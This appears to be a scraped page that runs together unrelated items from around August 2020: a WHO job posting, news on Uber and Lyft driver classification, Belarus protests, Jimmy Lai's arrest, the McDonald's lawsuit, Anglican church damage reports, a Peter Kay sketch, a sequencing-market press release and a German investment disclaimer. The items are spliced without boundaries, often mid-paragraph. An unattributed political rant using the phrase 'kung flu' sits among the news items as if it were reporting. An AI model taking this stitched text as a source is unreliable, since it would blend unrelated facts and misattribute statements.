five years of related experience, at the national and international levels, in RCCE part of which working in disease outbreaks or health emergencies. Proven experience in in the development and implementation of RCCEs strategies and plans Desirable: Prior working experience with WHO, the UN, health cluster partners, recognized humanitarian organizations or other international organizations, including at country level. Management or project management experience. Skills Excellent interpersonal skills. Effective negotiation, facilitation and consensus building skills. Ability to work under pressure while producing results. Ability to think out of the box and to make innovative proposals related to RCCE. Tact, discretion and diplomacy. Knowledge or understanding of WHO mandate and goals in the emergency incident management context. WHO Competencies Teamwork Respecting and promoting individual and cultural differences Communication Building and promoting partnerships across the organization and beyond Driving the Organizations Position in Health Leadership Use of Language Skills Essential: Expert knowledge of English. Desirable: Intermediate knowledge of russian. REMUNERATION WHO salaries for staff in the Professional category are calculated in US dollars. The remuneration for the above position comprises an annual base salary starting at USD 60,962 (subject to mandatory deductions for pension contributions and health insurance, as applicable), a variable post adjustment, which reflects the cost of living in a particular duty station, and currently amounts to USD 1565 per month for the duty station indicated above. Other benefits include 30 days of annual leave, allowances for dependent family members, home leave, and an education grant for dependent children. ADDITIONAL INFORMATION This vacancy notice may be used to fill other similar positions at the same grade level Only candidates under serious consideration will be contacted. A written test may be used as a form of screening. In the event that your candidature is retained for an interview, you will be required to provide, in advance, a scanned copy of the degree(s)/diploma(s)/certificate(s) required for this position. WHO only considers higher educational qualifications obtained from an institution accredited/recognized in the World Higher Education Database (WHED), a list updated by the International Association of Universities (IAU)/United Nations Educational, Scientific and Cultural Organization (UNESCO). The list can be accessed through the link: http://www.whed.net/. Some professional certificates may not appear in the WHED and will require individual review. Any appointment/extension of appointment is subject to WHO Staff Regulations, Staff Rules and Manual. Staff members in other duty stations are encouraged to apply. For information on WHOs operations please visit: http://www.who.int. WHO is committed to workforce diversity. WHOs workforce adheres to the WHO Values Charter and is committed to put the WHO Values into practice. WHO has a smoke-free environment and does not recruit smokers or users of any form of tobacco. WHO has a mobility policy which can be found at the following link: http://www.who.int/employment/en/. Candidates appointed to an international post with WHO are subject to mobility and may be assigned to any activity or duty station of the Organization throughout the world. Applications from women and from nationals of non and underrepresented Member States are particularly encouraged. *For WHO General Service staff who do not meet the minimum educational qualifications, please see e-Manual III.4.1, para 220. The California judge who ordered Uber and Lyft to begin classifying drivers as employees "saw straight through" the companies' "bogus argument" that drivers prefer the flexibility of being independent workers, according to California Attorney General Xavier Becerra, who brought the lawsuit against the ridesharing companies. In an interview with CNBC's "Squawk Alley" on Tuesday, Becerra agreed with the prior day's decisioin. On Monday, a judge granted a preliminary injunction requiring the companies to reclassify their workers as employees within 10 days. "What worker doesn't want to have access to paid sick leave?" Becerra said. "What worker doesn't want to have unemployment insurance at a time of Covid-19 crisis? What worker doesn't want to know that they'll get paid for overtime if they work 60 hours in a week or 12 hours in a day?" Becerra and three California city attorneys alleged Uber and Lyft broke California's new law, Assembly Bill 5, which aimed to secure benefits for gig workers by classifying them as employees. Both companies said Monday they would appeal the court's ruling. Uber and Lyft's framing of worker classification as a trade-off between flexibility and benefits is a "false choice," Becerra said in the interview. "You don't have to give up those rights and those benefits to have flexibility," he said. "There's nothing in California law that requires a company to remove flexibility in order for these people to be classified as employees and get those rights." An Uber spokesperson objected to that argument in a statement Tuesday. When I was making America greater than it has ever been and I will do it again; only I can fix it after the kung flu, they call it the co-ro-na-virus, they call it covid, since when does a disease have so many names? Once it washes through, its going to wash through sooner or later and I happen to think sooner. Its called testing. The United States does it better than anybody and guess what? More cases. The fake news those people right over there, I call them the fake news they dont want you to know this. Only I can bring us back to where we were before China. Italy registers jump in number of infections among Italian holidaymakers returning from abroad. Health officials in Italy are concerned by a spike in the number of infections among Italian holidaymakers returning home from abroad amid a surge in covid-19 cases in other European countries. "France, Spain and the Balkans... Italy is surrounded by contagions," health minister Roberto Speranza told Italian newspaper Corriere della Sera, adding that it would be "unconscionable" not to be alarmed by the imported cases. Speranza told Corriere della Sera on 11 August that Italy plans to conduct "rapid tests" on holidaymakers returning from Spain, Greece, Malta and Croatia. The tests, which will be carried out in airports as well as at ports, stations and borders, come as the number of so-called imported cases continues to rise, reports Corriere della Sera. Photo credit: Mazur Travel / Shutterstock.com. Share this article Whatsapp Facebook Twitter Linkedin Andrei Makhovsky (Reuters) Minsk, Belarus Tue, August 11, 2020 17:30 526 6657ac82168da9fa101c8a4066d28ff0 2 World Belarus,OppositionLeader,opposition,Alexander-Lukashenko,politics Free Belarusian opposition leader Svetlana Tikhanouskaya said on Tuesday she had fled abroad for the sake of her children, after two nights of clashes following the contested re-election of strongman President Alexander Lukashenko. Tikhanouskaya, a 37-year-old former English teacher, emerged from obscurity to mount the biggest challenge in years to Lukashenko, taking her husband's place in the campaign after he was jailed. "You know, I thought that this whole campaign really had hardened me and given me so much strength that I could handle anything," she said, explaining her decision in a sombre video released on her husband's YouTube channel. "But, probably, I'm still the weak woman I was in the first place. I have made a very difficult decision for myself." Both she and the Belarusian authorities said she had not been forced to leave. There had been concern about Tikhanouskaya's whereabouts after her campaign team said on Monday they had been unable to reach her by phone hours after she was known to have left a meeting with central election commission officials. By Tuesday morning she had joined her children in Lithuania. The state border committee later confirmed her departure. "And I know that many people will understand me, many will judge me and many will hate me. But, you know, God forbid being faced with such a choice the I was faced with," she said. "So, people, take care please - no life is worth what is happening now. Children are the most important thing in our lives." At least one person died as police clashed with protesters on Monday after the opposition accused Lukashenko of rigging the vote amid widespread criticism from Western leaders. Helmeted police fired tear gas, rubber bullets and stun grenades and used batons to disperse thousands of people in Minsk in a second night of violence. Protesters set up barricades in several areas and threw petrol bombs. Local media reported clashes in other towns. In power for more than a quarter of a century, Lukashenko has compared the protesters to criminal gangs and dangerous revolutionaries with shadowy foreign backers. US Secretary of State Mike Pompeo said the election was "not free and fair" and condemned "ongoing violence against protesters and the detention of opposition supporters". Foreign observers have not judged an election to be free and fair in Belarus since 1995, and the run-up to this month's vote saw authorities jail Lukashenko's rivals and open criminal investigations of others who voiced opposition. Tikhanouskaya's campaign rallies drew some of the biggest crowds since the fall of the Soviet Union in 1991. She was initially reluctant to stand, saying she had received an anonymous threat of having her children taken away. She had moved them abroad during the campaign. Her husband, Syarhei, had popularized a protest movement that compared Lukashenko to a cockroach character from a children's fairytale. He was arrested in May. Hong Kong police arrest media tycoon over suspected collusion with foreign forces: Daily Iran Press TV Monday, 10 August 2020 8:25 AM Police in Hong Kong have reportedly arrested media tycoon Jimmy Lai, also a UK citizen, over suspected collusion with foreign forces. The 71-year-old was charged with illegal assembly and intimidation in February, but he was granted police bail. Lai's newspaper Apple Daily said he was taken away from his home early on Monday. The daily later posted on its Facebook page a livestream of dozens of police officers entering its premises, searching through piles of papers there. Police said they had a court warrant that allowed them to search the premises. China's official Global Times newspaper also reported that two of his sons as well as two senior executives of Next Digital had also been arrested. Police later confirmed they had arrested seven men, aged 39-72, on charges of collusion with foreigners and other offenses, without naming them. "Offenses include collusion with a foreign country/external elements to endanger national security, Article 29 of the NSL.. Investigation is underway," the police force said on Twitter. Article 29 deals with offenses that include receiving any kind of support from abroad, which carries a maximum sentence of life imprisonment. The high-profile arrest is the first of its kind since Beijing adopted a national security law on Hong Kong last month, which criminalizes sedition, secession, and subversion against mainland China. The law triggered anti-government protests in Hong Kong, with the critics calling the measure a blow to the semi-autonomous region's powers and civil liberties. Beijing has, however, assured that the law targets a minority of troublemakers that disregard law and order in the Chinese financial hub. The Global Times on Monday described Lai as "riot supporter" and his publications as having been "instigating hatred, spreading rumors and smearing Hong Kong authorities and the mainland for years." Lai has been a frequent visitor to Washington, where he has met senior US officials, including Secretary of State Mike Pompeo, to rally support for Hong Kong's independence from mainland China. The US, Britain, and other Western countries have openly slammed the Chinese law and voiced support for anti-government protesters in Hong Kong. Beijing has, on many occasions, slammed the UK and the US for their interference in the affairs of Hong Kong as an internal issue of China. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Want this delivered to your inbox each day? Sign up here. Cause for concern McDonalds is suing its former C.E.O. Steve Easterbrook, who was fired last fall for having a consensual relationship with a subordinate that consisted of the two sending sexual messages to each other. Now, according to a lawsuit filed in a Delaware court, McDonalds is seeking to recoup Mr. Easterbrooks $40 million-plus severance package, accusing him of lying, concealing evidence and fraud. The lawsuit claims that Mr. Easterbrook had sexual relationships with three other employees, and that he awarded a lucrative batch of shares to one of them. In the investigation last year that led to his firing, Mr. Easterbrook was knowingly untruthful about the existence of these other relationships, the company alleges. Every companys legal team may want to revisit pay and severance policies after reading about the saga at McDonalds. The new revelations persuaded the board to conclude that Mr. Easterbrook should have been fired for cause, which McDonalds defined in its separation agreement as any act involving dishonesty, fraud, illegality, or moral turpitude. A firing for cause requires the repayment of all severance benefits, according to the companys policy. The idea of clawing back money is not new. Bankers and traders have clawback provisions in their contracts, mostly tied to actions that lead to outsize or unexpected losses. The McDonalds case is unusual because it is about suing a former employee by claiming the terms of separation were based on fraudulent statements. Lawyers have recently been warning companies to revisit their definition of cause, potentially to expand it beyond financial matters to include things like reputational harm and adverse publicity. The triggers for clawing back pay when someone is fired for cause is also a thorny area, especially if the severance has already been paid in cash or stock and options available to be vested. Archaeologists have unearthed a Neolithic relics site dating back to more than 6,000 years ago, in the city of Linyi, east China's Shandong Province. The site mainly comprises a ring trench of the Beixin culture with an area of some 4,000 square meters, as well as three housing sites and several pits, said the cultural relics and archaeology research institute of Shandong. Pottery remains from kettles, bowls, jars and pots were found in the trench. Beixin, a Neolithic culture, dates back between 7,300 years to 6,100 years ago in the lower reaches of Yellow River. It was the precursor of the Dawenkou culture. The settlements of the Beixin culture were all half beneath the ground, and the people used artifacts made from stones, bones, horns, teeth, and clams as production tools. Posted on: August 11, 2020 4:27 PM Church and theological college damaged in Lebanese port blast All Saints Anglican Church on Lebanons Mediterranean shore suffered material damage in last weeks massive explosions in Lebanon. Latest figures show that some 220 people have been killed and a further 7,000 injured by the two explosions. The second of the blasts is thought to have occurred when 2,750 tonnes of ammonium nitrate being stored in a port warehouse was ignited by flames or sparks from the first blast. The resulting explosion estimated to have been equivalent to 1.2 kilotons of TNT could be heard more than 150 miles away on the island of Cyprus. The Anglican Archbishop in Jerusalem, Suheil Dawani, whose diocese includes Lebanon, has launched an emergency appeal to aid the diocesan response. Since the explosion, we have been in constant communication with Imad Zoorob, Archdeacon over Lebanon and Syria, who also serves as the Rector of All Saints Episcopal Church in Beirut, located about a mile from where the blast took place, Archbishop Suheil said. In the aftermath of the explosion, he was able to assess the status of our two resident congregations there, as well as the damage to All Saints and to our complex at the Near Eastern School of Theology (NEST). The good news is that no member of our congregations was killed or seriously hurt. However, All Saints' Parish Hall and Vestry were damaged, likely requiring tens of thousands of dollars of repairs. Miraculously, the stained glass in the church nave and sanctuary held firm so there is no damage there, though there is some in the sacristy. There is also no damage to Saint Lukes School in the more distant mountains. On the other hand, many of our parishioners apartments suffered damage, as did our Anglican Centre at NEST. The Anglican Diocese of Jerusalem is a co-sponsor of Lebanons Near Eastern School of Theology, alongside the Armenian Evangelical Church, the National Evangelical Synod, and the Lutheran Church. It trains most of the clergy in the diocese. NESTs President, George Sabra, said that the centre had suffered more in this blast than it had during the Civil War. The Middle East Facilitator for the Anglican Alliance, Joel Kelling, said that pretty much all the glass and doors in the centre has been destroyed. They say the challenge is going to be finding not only the money, but the actual physical glass resources, as well as the labour to replace all the damage done, given that has affected half the city, he said. The staff are working to put up nylon sheeting in the meantime, having worked to sweep glass At All Saints Church, the church hall windows and doors were broken in the blast, which has done material damage to the interior of the hall, Joel Kelling said. The Dioceses St Lukes Centre for Disabled Children was closed because of the Covid-19 pandemic; but suffered no damage. The explosion was massive. So much was damaged, not only at All Saints, but parishioners homes, Archdeacon Imad said. Thank God none of the parishioners was hurt, but Im busy working to sort out the church and support at least 18 people affected by the explosion. I am working with the diocese to help financially and to clean their homes. Thank God the pupils at St Lukes were away because of Coronavirus, and weve not suffered any damage there so far. A member of the Parochial Church Council at All Saints, Colin Gibson, said: the extent of devastation is shocking. There is a lot of despair. People feel at the end of their tether, with the economic meltdown, the Covid-19 pandemic and now this. The economic situation in Lebanon was already desperate even before the explosion, Rachel Carnegie, Executive Director of the Anglican Alliance, said. The Anglican Alliance was in touch already with the Province to hear how the local church was responding to the devastating economic crisis. Accounts were emerging of people in acute difficulties. Amongst these, some of the most marginalised, in this case foreign domestic workers, were being turned out of homes and left destitute on the streets as their employers could no longer afford to keep them. The Anglican Alliance has connected with partners in the Communion, especially Episcopal Relief & Development, to help support the church in Lebanon in helping these highly vulnerable migrants, many from Africa. The humanitarian situation has of course been rendered even more desperate by last weeks disaster. She said that support for Archbishop Suheils emergency appeal will be crucial to rebuild lives, hope and the church institutions some of which are being rebuilt a third time after the former years of conflict. Fire damages Anglican Cathedral in Dunedin, New Zealand St Pauls Cathedral in Dunedin, near Otago Harbour on the south-east coast of New Zealands South Island, has sustained damage to its apse roof and sanctuary after a fire broke out in the cathedral roof at 3.30 am NZST this morning (3.30pm GMT Monday 10 August). The Dean of Dunedin Dr Tony Curtis, told Anglican Taonga that it was sad news to wake to before dawn this morning. This was not the start to the week that I wanted. But thanks be to God no one was hurt. he said. Speaking outside the cathedral cordon this morning, the Dean said that although the blaze had grim potential, once the sun came up there didnt appear to be any structural damage. There are holes in the roof, and the sanctuary, main nave aisle and front pews are drenched theres a lot of ash and water damage. Theres going to be a lot of cleaning up to be done. But while the fire left a mess, its not anything like the fires in the cathedrals of Paris or Nantes, he said, adding: and its nothing in comparison to what our brothers and sisters in Christchurch have had to deal with. When he arrived at the cathedral at 4.20 am local time Tuesday, he found that fire crews from Dunedin City Station had already contained the blaze. The fire had taken hold in the Cathedrals apse roof, which is in the newer sanctuary extension added to the 1919 stone nave in 1971. Senior fire station officer Robbie Torrance reported that when pinex-backed ceiling panels beneath the slate roof had caught alight the water needed to extinguish them had waterlogged the pinex which will now fall apart. That means the central fan-shaped portion of the apse ceiling and roof will need to be replaced. Beneath the flaming roof, both parquet flooring and the sanctuary carpet were covered in ash and pitted with burn marks, then thoroughly waterlogged during the nights events. At midday today, the Cathedral crypt remained flooded with water leftover from the firefighters work. The Bishop of Dunedin, Steven Benford, said he was shocked at the very sad news. We say that it is the community of believers who are the church, not the buildings. But these buildings are precious to us too. They look after us and we need to look after them. Efforts are being made to re-open the cathedral in time for Sunday, when a large celebratory service is planned. The cathedral is planning to welcome to new clergy: Dr James Harding as clerical canon and Brian Kilkenny as priest assistant; and the Deans daughter, Ziva, is set to be Confirmed. Ziva is really looking forward to her confirmation service on Sunday, Dean Tony said. But Ive told her that whatever happens, were going to make sure she can stand up and make her commitment this week. North Carolina church damaged in 5.1 magnitude earthquake A rare 5.1 magnitude earthquake that woke residents in north-western North Carolina on Sunday (9 August) caused minor damage to a church in Sparta, the town closest to the epicentre. Senior Warden Jann Boggs told the Episcopal News Service that nobody was inside Christ Church at the time because it was closed in response to the Covid-19 pandemic, adding: so that was a blessing. The earthquake was the largest one to hit the region since 1916. No deaths or serious injuries were reported, though some buildings in Sparta were damaged. At Christ Church, there was damage to the drywall seams in the sanctuarys walls and ceiling, the well line was broken, some altar candlesticks broke when they came crashing down and the sacristy was pretty much a shambles, Boggs said. We havent had a chance to even get in there and do anything with it, but theres stuff strewn all over the floor, she said. We have no idea what weve really sustained as far as damage [in the sacristy]. Anglican Vicar in Baghdad honoured by Britains Queen Elizabeth The Parish Priest at St Georges Anglican Church in Baghdad, Father Faiz Jerjes, has been given an honour by Queen Elizabeth II. He has been made a Member of the Most Excellent Order of the British Empire MBE for services to the Anglican, Christian and local community in Baghdad. In a statement, the Diocese of Cyprus and the Gulf sent: warmest congratulations from the rest of the Diocese . . . to Canon Faiz, his family, and all who worship at St Georges. The honorary award of an MBE by Queen Elizabeth is not the first official recognition of Father Jerjes ministry. In 2017, he was named one of Iraqs Personalities Of The Year by the countrys Ministry of Culture and in 2018 he was honoured by the Iraqi Army for his peace-building efforts and for his outstanding contribution to peaceful co-existence in Iraq. At the time, the Chief of Staff of the Iraqi Army, Lieutenant-General Othman al-Ghanmi, praised Father Faiz for his courage in helping to raise awareness of issues others feared to broach. The Church is currently struggling with the Covid-19 pandemic which is seeing around 2,000 new cases a day in Iraq. Most observers believe that the true number is much higher, the Foundation for Relief and Reconciliation in the Middle East (FRRME), which supports the Church in Baghdad, said. There is a stigma around illness in some communities and this is thought to lead to a lot of under-reporting. FRRME funds St Georges medical centre, which was treating 2,000 patients each month before the pandemic. One of its doctors has tested positive for the virus as has a staff member of the Church. They both went into quarantine of course, FRRME said. Once again this demonstrates the risks which front-line medics work under in the current health crisis. The medical centre has purchased a new sanitising unit that will be used by everyone entering the clinic to help prevent the spread of the Covid-19 virus. The clinic is treating people with mild Covid-19 symptoms. More advanced cases are being referred to local hospitals. Candles at curfew: Victorian Anglicans shine lights of hope as Covid-19 lockdown extends New stringent restrictions limiting movement and personal interaction have come into force in Melbourne and the Australian state of Victoria. The new restrictions include a night-time curfew, which comes into effect at 8 pm each night. The Archbishop of Melbourne, Dr Philip Freier, has encouraged Victorians to place a lit candle in a window of their home each night, as a sign of hope. I will be lighting a candle at my home tonight, placing it in the window facing the street on which I live, Dr Freier said last week on the first day of the new restrictions. I invite people across our communities to light up the windows of their rooms, apartments and houses. Together we can spread the light as a sign of hope in these dark days. Dr Freier added: for Christians, lighting a candle is a symbol of Gods light piercing into the darkness of our own despair. Its our saying that Gods hope is the power that motivates us as we continue to endure these limitations and experience the sacrifice of this time. People have been encouraged to share photos of their lit candles on social media, using the hashtag #CandlesAtCurfew. Peter Kay and Sian Gibson in 'Car Share'. (BBC) Peter Kay has written a new Car Share sketch about his character John Redmond experiencing a cancer scare. The 47-year-old comedian - who stepped back from public life in recent years - published the script for the hit BBC comedy in Dear NHS: 100 Stories To Say Thank You, a fundraising book featuring stories by celebrities. In the sketch supermarket manager John confides in a cashier pal Kayleigh Kitson that he went for a brain scan after experiencing bad headaches. Read more: Peter Kay makes rare TV appearance on BBC's coronavirus fundraiser He says: "My GP said it was sinuses, but being a proper hypochondriac, I thought b*****ks, what does he know? So I booked in for a brain scan." John reveals he ended up weeping during the scan after the nurse asked him what music he would like to hear while in the MRI scanner. Peter Kay has only made charity appearances since retiring from the spotlight in 2017. (PA) He explains: "I went for the Best Of Simon & Garfunkel. I love them and they would have been the perfect choice if the first song hadnt been The Sound Of Silence, with the opening line, 'Hello darkness my old friend, Ive come to talk to you again' and theres me laying in this MRI machine having a brain scan. Adding: "It got worse in the third verse the lyrics are 'silence like a cancer grows'. I was in tears. I was ashen when I came out. I told the nurse. I said I thought it was going to be happy, Mrs Robinson and all that. The sketch ends with Kayleigh asking if doctors found anything, and John answering: "No, nothing. The GP was right, it was my sinuses after all. A course of antibiotics and I was sorted in a week. That'll teach me." The sketch begins with John discussing his plans for his dads end-of-life care. Kays own father Michael died aged 51 in 1999 after battling osteoporosis and alcoholism. The comedian has been out of the spotlight since cancelling his last stand-up tour three years ago. Peter Kay Live: Have Gags, Will Travel was scheduled to begin touring in 2018, but he cancelled all future work, including the tour, in December 2017, citing unforeseen family circumstances. Story continues Peter Kays Car Share ended with two special episodes in 2018. Peter Kay appeared on the BBC Children In Need and Comic Relief 'Big Night In' in April. (Getty Images) The Phoenix Nights star made his first TV appearance in two years on the BBCs Big Night In charity event, held by Children In Need and Comic Relief to raise money for the fight against coronavirus in April. Read more: Peter Kay is planning a 'Phoenix Nights' film He appeared on screen in a sun hat and licking an ice lolly as he introduced a recreation of his and Tony Christies 2005 Amarillo video. The comedian has a 16-year-old son and two younger children with wife Susan Gargan, who he married in 2001. Dear NHS: 100 Stories To Say Thank You, curated and edited by comedy writer and former doctor Adam Kay, features celebritys personal stories of the health service. Other star contributors include Sir Paul McCartney, Stephen Fry, Dawn French, Sir Trevor McDonald, Ed Sheeran and Emma Watson. For each book sold a donation is made to NHS Charities Together and The Lullaby Trust. BANGALORE, India, Aug. 11, 2020 /PRNewswire/ -- Next-generation sequencing (NGS) is an innovative technique for low-cost, high-speed sequencing of genomes with increased efficacy. NGS is used in various applications such as exploration of biomarkers, oncology trials, precision medicine, agriculture & animal testing, and so on. The global next generation sequencing market size was valued at USD 4,533 Million in 2018 and is estimated to reach USD 18,565 Million by 2026, growing at a CAGR of 19.2% from 2019 to 2026. This research offers a comprehensive overview of the latest industry dynamics for next-generation sequencing and demand prediction projections from 2019 to 2026, which defines the business prospects that prevail. View Full Report: https://reports.valuates.com/market-reports/ALLI-Auto-4C357/next-generation-sequencing-ngs TRENDS INFLUENCING THE NEXT GENERATION SEQUENCING MARKET SIZE NGS has simplified the study of nucleotides and has effectively replaced traditional genomics methods. This factor is expected to increase the next generation sequencing market size. Moreover, the emergence of genome mapping systems is also expected to fuel the global market's growth for next-generation sequencing. One of the key developments boosting the demand is the miniaturization of third-generation devices with the launch of palm-sized sequencers. The continued advancement of next-generation sequencing technology's performance and the cost is projected to fuel the growth of non-conventional applications such as Agri-genomics and infectious disease research. Next generation sequencing provides a comprehensive description of the molecular structure of a tumor that helps further accelerate the therapy prescription protocols. In addition, the introduction of preventive cancer screening services provides considerable growth opportunities for next generation sequencing market size. Inquire For Sample: https://reports.valuates.com/request/sample/ALLI-Auto-4C357/Next_Generation_Sequencing_NGS_Market NEXT GENERATION SEQUENCING MARKET SHARE ANALYSIS Based on the application, in 2018, the diagnostics segment held the largest Next generation sequencing market share. This significant market share can be attributed to factors such as the number of new cancer cases across the globe, a favorable reimbursement scenario for NGS-based testing in the US, and a growing focus of key market players on developing NGS-based cancer products & services. Based on end-users, the academic institutes & research centers held the largest Next generation sequencing market share in 2018. This is due to the growing number of partnerships between Next generation sequencing market leaders and academic & research institutions, a favorable funding scenario for region-wide genomics research, and the creation of cost-effective NGS products and testing services. Based on the region, North America is expected to hold the largest market share during the forecast period. The dominance of North America is due to factors such as the growing use of NGS in diagnostics and genomics science, the availability of research funding, and the development of approaches for NGS data analyses. The Asia Pacific market is expected to witness the highest growth rate during the projected period. The rapid growth can be attributed to the initiatives taken by Asian companies as well as government bodies that aim to improve their genomics industry and generate revenue. Inquire For Regional Reports: https://reports.valuates.com/request/regional/ALLI-Auto-4C357/Next_Generation_Sequencing_NGS_Market TOP COMPANIES IN THE NEXT GENERATION SEQUENCING MARKET The next generation sequencing market is highly competitive, with few players dominating the market. Agreements and partnerships between various industry leaders and health centers are being used as a market strategy to get a strong foothold in the market. The top companies in the next-generation sequencing are, Illumina, Inc., Thermo Fisher Scientific, Inc., Pacific Biosciences of California, Inc., Beijing Genomics Institute, Qiagen N.V., 454 Life Sciences Corporation (Roche Holding AG), Agilent Technologies, Inc., Perkinelmer, Inc., Genomatix GmbH, and PierianDx. Other prominent players in the value chain include Eurofins Scientific, Gatc Biotech AG, Macrogen, Inc., Oxford Nanopore Technologies, Ltd., Bio-Rad Laboratories, Inc., DNASTAR, Inc., Biomatters Ltd., Partek Inc., New England Biolabs, Inc. and Myriad Genetics, Inc. These organizations are partnering with clinical research agencies to decode the pathogenesis of specific diseases using next-generation sequencing platforms. NEXT GENERATION SEQUENCING MARKET ON THE BASIS OF PRODUCT Consumables Sample Preparation Consumables DNA Fragmentation, End Repair, A-Tailing, and Size Selection Library Preparation & Target Enrichment Quality Control Other Consumables. Platforms HiSeq MiSeq Ion Torrent SOLiD Pacbio Rs II and Sequel System Other Sequencing Platforms. Services Sequencing Services RNA Sequencing Whole Exome Sequencing Whole Genome Sequencing Targeted Sequencing Chip Sequencing De Novo Sequencing Methyl Sequencing. Data Management Services NGS Data Analysis Services NGS Data Analysis Software & Workbenches ment and Cloud Computing SolutionsNGS Storage, Manage. NEXT GENERATION SEQUENCING MARKET ON THE BASIS OF BY APPLICATION Diagnostics Biomarkers and Cancer Reproductive Health Personalized Medicine Agriculture and Animal Research Other Applications. NEXT GENERATION SEQUENCING MARKET ON THE BASIS OF TECHNOLOGY Sequencing by Synthesis Ion Semiconductor Sequencing Sequencing by Ligation Pyrosequencing Single-Molecule Real-Time Sequencing Other Technologies. NEXT GENERATION SEQUENCING MARKET ON THE BASIS OF END USER Academic and Clinical Research Centers Pharmaceutical and Biotechnology Companies Hospitals and Clinics Other End User. KEY PLAYERS PROFILED Illumina, Inc. Thermo Fisher Scientific, Inc. Pacific Biosciences of California , Inc. , Inc. Beijing Genomics Institute Qiagen N.V. 454 Life Sciences Corporation (Roche Holding AG) Agilent Technologies, Inc. Perkinelmer, Inc. Genomatix GmbH PierianDx Others. Buy Now for Single User: https://reports.valuates.com/api/directpaytoken?rcode=ALLI-Auto-4C357&lic=single-user Buy Now for Enterprise Licence: https://reports.valuates.com/api/directpaytoken?rcode=ALLI-Auto-4C357&lic=enterprise-user SIMILAR REPORTS Next-generation Sequencing Informatics Market Report Major factors driving the growth of Next-generation Sequencing Informatics Market size include lower sequencing costs with the use of NGS informatics, government policies to encourage the use of NGS, improved speed & versatility provided by NGS, and constant technological advancement and innovations. The top companies in the Next-generation Sequencing Informatics Market are Burhani Guards International, GENEWIZ, GATC Biotech AG, Biomatters Ltd., DNASTAR, Genomatix GmbH, Qiagen N.V., Illumina Inc., Thermo Fisher Scientific Inc., and Partek Incorporated. View Full Report: https://reports.valuates.com/market-reports/QYRE-Auto-13A1229/global-next-generation-sequencing-informatics Metagenomics Next Generation Sequencing Market Report Metagenomics Next Generation Sequencing Market development is primarily influenced by factors such as the substantial use of metagenomics in various fields, the numerous interventions and financing of large-scale sequencing projects by government & private bodies, and the declining cost of sequencing. View Full Report: https://reports.valuates.com/market-reports/QYRE-Othe-3H295/metagenomics-next-generation-sequencing Clinical Oncology Next Generation Sequencing (NGS) Market Report The key factor contributing to the growth of Clinical Oncology Next Generation Sequencing (NGS) Market size is the improved understanding of the genetic markers of virulence and resistance. View Full Report: https://reports.valuates.com/market-reports/QYRE-Othe-4W178/clinical-oncology-next-generation-sequencing Library Preparation and Target Enrichment for Next Generation Sequencing Product Market Report View Full Report: https://reports.valuates.com/market-reports/QYRE-Othe-0N194/library-preparation-and-target-enrichment-for-next-generation-sequencing-product Next Generation Sequencing (NGS) Data Analysis Market Report North America is home to many well-established NGS data analytics organizations. A large number of NGS research initiatives are being undertaken in Canadian universities, which in turn has resulted in a tremendous demand for NGS data processing, impacting the growth of revenues in the region. North America is expected to continue to be the fastest-expanding and biggest NGS data analysis market during the project period. View Full Report: https://reports.valuates.com/market-reports/QYRE-Othe-4L179/next-generation-sequencing-data-analysis Dna Next Generation Sequencing Market Report https://reports.valuates.com/market-reports/QYRE-Othe-4L179/next-generation-sequencing-data-analysis Next Generation Sequencing (NGS) Software Market Report https://reports.valuates.com/market-reports/QYRE-Othe-0I287/next-generation-sequencing-software ABOUT US: Valuates offers in-depth market insights into various industries. Our extensive report repository is constantly updated to meet your changing industry analysis needs. Our team of market analysts can help you select the best report covering your industry. We understand your niche region-specific requirements and that's why we offer customization of reports. With our customization in place, you can request for any particular information from a report that meets your market analysis needs. To achieve a consistent view of the market, data is gathered from various primary and secondary sources, at each step, data triangulation methodologies are applied to reduce deviance and find a consistent view of the market. Each sample we share contains detail research methodology employed to generate the report, Please also reach to our sales team to get the complete list of our data sources CONTACT US: Valuates Reports [email protected] For U.S. Toll-Free Call: 1-(315)-215-3225 For IST Call: +91-8040957137 WhatsApp : +91-9945648335 Website: https://reports.valuates.com Twitter - https://twitter.com/valuatesreports Linkedin - https://in.linkedin.com/company/valuatesreports Facebook - https://www.facebook.com/valuatesreports SOURCE Valuates Reports BERKELEY, August 10 (WNM/University of California - Berkeley) - The study, funded by the California Air Resources Board, is one of the largest of its kind and the first in the state. It analyzed the records of nearly 3 million births to people living within 6.2 miles (10 kilometers) of at least one oil or gas well between 2006 and 2015. Unlike previous studies, it examined births in both rural and urban areas, and people living near both active and inactive oil and gas sites. The study found that, ... Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.

There have been violent clashes between police and protesters after officials said Mr Lukashenko had won the presidential election with more than 80% of the vote - but critics said the poll was rigged.

In another night of demonstrations, a Reuters witness said tear gas had been used to disperse protesters in Minsk and the Belarusian interior ministry said a protester died in the capital after an explosive device blew up in his hand.

Posting on its own site, Twitter wrote: "We're seeing blocking & throttling of Twitter in #Belarus in reaction to protests contesting the election result. #KeepItOn.

"Internet shutdowns are hugely harmful. They fundamentally violate basic human rights & the principles of the #OpenInternet."

US secretary of state Mike Pompeo criticised the use of internet shutdowns to "hinder the ability of the Belarusian people to share information about the election and the demonstrations".

He added that he condemned the violence against protesters and described the vote as "not free and fair".

Mr Lukashenko - who has ruled the ex-Soviet nation for 26 years - warned harsh measures will be taken against protesters, and already dozens have been injured and thousands detained.

He accused groups in Poland, the Czech Republic, Ukraine and Russia of directing the opposition protests.

"They are directing our sheep, who don't understand what they are doing," he said.

Rights activists said one person died after being run over by a police vehicle, but authorities have denied this.

A former Belarusian presidential candidate was among those calling for the international community to condemn the official election results.

Andrei Sannikov, former deputy foreign minister of Belarus, said the outcome was not the result of a "free and fair election" and accused the European Union of "cowardly silence".

His comments came after Polish prime minister Mateusz Morawiecki called for an emergency EU summit over the situation, saying the community must "support the Belarusian people in their quest for freedom".

Mr Sannikov said the authoritarian leader is now "more scared than ever" because he has seen that "other people have risen against him" and "despise him".

"I would kindly request not to use the words that Lukashenko was elected," he said. "Lukashenko has committed yet another crime which is called high treason.

"There was never a free and fair election after 1994 when he truly was elected."

One-time opposition leader Mr Sannikov was jailed for five years in 2011 on charges of organising mass protests after he ran against Mr Lukashenko in 2010. Western monitors at the time had described the poll as "flawed".

